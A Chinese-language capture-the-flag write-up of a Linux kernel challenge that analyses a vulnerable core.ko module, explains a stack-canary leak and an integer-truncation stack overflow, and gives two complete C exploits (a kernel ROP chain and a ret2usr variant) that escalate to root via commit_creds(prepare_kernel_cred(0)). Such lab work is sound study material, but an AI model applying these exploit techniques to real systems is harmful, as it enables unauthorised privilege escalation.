0x01 查看题目
1.查看start.sh启动脚本,开启了kaslr,但是没有开smep和smap,这里有个小坑-m 64M会报错内存不够,可以改成-m 1024M
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
2.解包文件系统,提取需要分析的模块
mkdir core
cp core.cpio core/
cd core
//因为这次是压缩文件所以需要先解压缩
mv core.cpio core.cpio.gz
gunzip core.cpio.gz
cpio -idmv < ./core.cpio
3.查看init文件,将/proc/kallsyms保存到了/tmp/kallsyms中符号偏移可以从该文件中读取,之后限制了kallsyms和dmesg的使用,当然调试的时候可以先用root去调试。分析模块应该是core.ko
!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
0x02 分析程序
init_module创建了/proc/core
ioctl中实现了3个功能,0x6677889b调用core_read,0x6677889c设置off值,0x6677889A调用core_copy_func
core_read,通过设置off可以泄露栈上的数据(canary和kernel base)
write函数利用copy_from_user向name赋值。
core_copy_func存在类型转换漏洞,a1是signed64类型,qmemcpy传入是会截断成unsigned16。所以当传入(0xffffffffffff0000|0x100)能从name 赋值0x100字节到v2
利用pwntools找到commit_creds和prepare_kernel_cred的偏移
小结:core.ko存在两个漏洞,
1.core_read中可以通过设置off来找到cannary和内核指针。
2.core_copy_func类型转换漏洞导致栈溢出
0x03 ROP思路
利用思路
- 通过/tmp/kallsyms来得到vmlinux_base
- 通过ioctl 0x6677889C来设置off=0x40
- 通过ioctl 0x6677889B 泄露cannary
- 通过write向name写rop链
- 通过ioctl 0x6677889A 利用类型转换漏洞向v2赋值name中的rop链
- getroot
rop链要如何构造呢?(和glibc中找rop类似)
1.commit(prepare_kernel_cred(0)),需要将prepare_kernel_cred得到的rax赋值给rdi再继续调用commit
2.swapgs retqr回到用户空间
下面就很简单了先用ropper --file vmlinux --nocolor > g1得到gadget。然后根据上面的需求去寻找需要的gadget
下面就是找到的一些gadget
size_t pop_rdi_ret = 0xffffffff81000b2f;//: pop rdi; ret;
size_t swapgs_popfq_ret = 0xffffffff81a012da;//: swapgs; popfq; ret;
size_t iretq_ret = 0xffffffff81050ac2;//: iretq; ret;
size_t push_rax_ret = 0xffffffff81041c45;//: push rax; ret;
size_t mov_rdi_rax_p_j = 0xffffffff81532471;//: mov rdi, rax; pop rbp; jmp rcx;
size_t pop_rcx_ret = 0xffffffff81021e53;//: pop rcx; ret;
rop exp
//gcc rop.c -static -masm=intel -g -o rop
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#define COMMIT_CREDS_OFFSET 0x9c8e0
#define PREPARE_KERNEL_CRED_OFFSET 0x9cce0
#define CORE_READ 0x6677889B
#define SETOFF 0x6677889C
#define CORE_COPY_FUNC 0x6677889A
size_t vmlinux_base,commit_creds,prepare_kernel_cred;
size_t raw_vmlinux_base=0xffffffff81000000;
int fd;
size_t buf[0x80];
size_t rop[0x100];
size_t cannary;
void find_symbols()
{
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}
char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd))
{
if(commit_creds & prepare_kernel_cred)
return 0;
if(strstr(buf, "commit_creds") && !commit_creds)
{
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
vmlinux_base = commit_creds - COMMIT_CREDS_OFFSET;
}
if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - PREPARE_KERNEL_CRED_OFFSET;
}
}
if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
exit(0);
}
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
void FDinit()
{
fd = open("/proc/core",O_RDWR);
if(fd<0){
printf("open core error\n");
exit(-1);
}
}
void setOff(int off)
{
ioctl(fd,SETOFF,off);
}
void core_read()
{
ioctl(fd,CORE_READ,buf);
for(int i=0;i<8;i++){
printf("[*]%d:%llx\n",i,buf[i]);
}
}
void core_copy_func()
{
ioctl(fd,CORE_COPY_FUNC,(0xffffffffffff0000|(0x100)));
}
void getshell()
{
if(!getuid()){
system("/bin/sh");
}else{
printf("not root\n");
}
}
size_t pop_rdi_ret = 0xffffffff81000b2f;//: pop rdi; ret;
size_t swapgs_popfq_ret = 0xffffffff81a012da;//: swapgs; popfq; ret;
size_t iretq_ret = 0xffffffff81050ac2;//: iretq; ret;
size_t push_rax_ret = 0xffffffff81041c45;//: push rax; ret;
size_t mov_rdi_rax_p_j = 0xffffffff81532471;//: mov rdi, rax; pop rbp; jmp rcx;
size_t pop_rcx_ret = 0xffffffff81021e53;//: pop rcx; ret;
int main()
{
find_symbols();//读取/tmp/kallsyms
printf("vmlinux:%llx\n",vmlinux_base);
save_status();//保存寄存器
FDinit();
setOff(0x40);
core_read();
cannary = buf[0];
size_t offset = vmlinux_base - raw_vmlinux_base;
printf("[*]vmlinux_base:%llx\n",vmlinux_base);
printf("[*]cannary:%llx\n",cannary);
int i;
for(i=0;i<10;i++)
rop[i] = cannary;
rop[i++]=pop_rdi_ret+offset;
rop[i++]=0;
rop[i++]=prepare_kernel_cred;
rop[i++]=pop_rcx_ret+offset;
rop[i++]=commit_creds;
rop[i++]=mov_rdi_rax_p_j+offset;
rop[i++]=0;
rop[i++]=swapgs_popfq_ret+offset;
rop[i++]=0;
rop[i++]=iretq_ret+offset;
rop[i++]=(size_t)&getshell;
rop[i++]=user_cs;
rop[i++]=user_rflags;
rop[i++]=user_sp;
rop[i++]=user_ss;
//commit_creds(prepare_kernel_cred(0))
//swapgs
//iret;
write(fd,rop,0x100);
printf("[*]write rop\n");
core_copy_func();
}
0x04 ret2usr思路
因为没有开smep(内核不能执行用户空间代码)和smap(内核不能直接访问用户空间数据),所以栈溢出可以直接覆盖返回到用户空间执行commit_creds(prepare_kernel_cred(0))。
exp
/gcc ret2usr.c -static -masm=intel -g -o ret2usr
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#define COMMIT_CREDS_OFFSET 0x9c8e0
#define PREPARE_KERNEL_CRED_OFFSET 0x9cce0
#define CORE_READ 0x6677889B
#define SETOFF 0x6677889C
#define CORE_COPY_FUNC 0x6677889A
size_t vmlinux_base,commit_creds,prepare_kernel_cred;
size_t raw_vmlinux_base=0xffffffff81000000;
int fd;
size_t buf[0x80];
size_t rop[0x100];
size_t cannary;
void find_symbols()
{
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}
char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd))
{
if(commit_creds & prepare_kernel_cred)
return 0;
if(strstr(buf, "commit_creds") && !commit_creds)
{
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
vmlinux_base = commit_creds - COMMIT_CREDS_OFFSET;
}
if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - PREPARE_KERNEL_CRED_OFFSET;
}
}
if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
exit(0);
}
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
void FDinit()
{
fd = open("/proc/core",O_RDWR);
if(fd<0){
printf("open core error\n");
exit(-1);
}
}
void setOff(int off)
{
ioctl(fd,SETOFF,off);
}
void core_read()
{
ioctl(fd,CORE_READ,buf);
for(int i=0;i<8;i++){
printf("[*]%d:%llx\n",i,buf[i]);
}
}
void core_copy_func()
{
ioctl(fd,CORE_COPY_FUNC,(0xffffffffffff0000|(0x100)));
}
void getshell()
{
if(!getuid()){
system("/bin/sh");
}else{
printf("not root\n");
}
}
//函数指针的办法来执行commit_creds(prepare_kernel_cred(0))
void get_root()
{
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
}
size_t pop_rdi_ret = 0xffffffff81000b2f;//: pop rdi; ret;
size_t swapgs_popfq_ret = 0xffffffff81a012da;//: swapgs; popfq; ret;
size_t iretq_ret = 0xffffffff81050ac2;//: iretq; ret;
size_t push_rax_ret = 0xffffffff81041c45;//: push rax; ret;
size_t mov_rdi_rax_p_j = 0xffffffff81532471;//: mov rdi, rax; pop rbp; jmp rcx;
size_t pop_rcx_ret = 0xffffffff81021e53;//: pop rcx; ret;
int main()
{
find_symbols();//读取/tmp/kallsyms
printf("vmlinux:%llx\n",vmlinux_base);
save_status();//保存寄存器
FDinit();
setOff(0x40);
core_read();
cannary = buf[0];
size_t offset = vmlinux_base - raw_vmlinux_base;
printf("[*]vmlinux_base:%llx\n",vmlinux_base);
printf("[*]cannary:%llx\n",cannary);
int i;
for(i=0;i<10;i++)
rop[i] = cannary;
rop[i++]=&get_root;
rop[i++]=swapgs_popfq_ret+offset;
rop[i++]=0;
rop[i++]=iretq_ret+offset;
rop[i++]=(size_t)&getshell;
rop[i++]=user_cs;
rop[i++]=user_rflags;
rop[i++]=user_sp;
rop[i++]=user_ss;
//commit_creds(prepare_kernel_cred(0))
//swapgs
//iret;
write(fd,rop,0x100);
printf("[*]write rop\n");
core_copy_func();
}
0x05 总结
内核rop链构造其实和普通用户空间中没太大区别,最大区别是最后要回到用户空间来getshell。
当不存在smep和smap时,rop链到用户空间写好的函数来提升权限会比单纯使用rop更简单一些。
一个小坑:extract-vmlinux提取这个题目的vmlinux时,vmlinux没有符号表而且gadget偏移也不太正确。。。不知道具体原因是什么。